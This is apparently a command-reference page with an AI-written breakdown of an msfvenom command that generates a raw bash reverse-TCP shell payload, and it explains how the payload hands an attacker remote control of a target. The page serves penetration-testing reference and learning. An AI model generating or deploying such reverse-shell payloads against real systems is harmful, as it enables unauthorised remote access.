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msfvenom:tldr:08cd6
msfvenom: Create a raw bash with a reverse TCP handler.
$ msfvenom -p cmd/unix/reverse_bash LHOST=${local_ip} LPORT=${local_port} -f raw
try on your machine
This command is using a tool called msfvenom, which is a part of the Metasploit Framework. The purpose of msfvenom is to generate malicious payloads for exploiting vulnerable systems.
Here is a breakdown of the command:
- msfvenom: This is the command that runs the msfvenom tool.
- -p cmd/unix/reverse_bash: This option specifies the payload to use. In this case, it is a reverse shell in the Bash shell on a Unix-based system. A reverse shell allows an attacker to connect back to their own machine and gain remote access to the target system.
- LHOST=${local_ip}: This option sets the local IP address that the reverse shell should connect back to. The ${local_ip} should be replaced with the IP address of the machine running the msfvenom command.
- LPORT=${local_port}: This option specifies the local port that the reverse shell should connect back to. The ${local_port} should be replaced with the desired port number.
- -f raw: This option specifies the output format of the payload. In this case, it is set to raw, which means the payload will be in raw binary format rather than a specific file format.
By running this command with the appropriate values for LHOST and LPORT, the user can generate a malicious payload that, when executed on a vulnerable system, will establish a reverse shell connection back to the attacker's machine. This allows the attacker to control the compromised system remotely.
This explanation was created by an AI. In most cases those are correct. But please always be careful and
never run a command you are not sure if it is safe.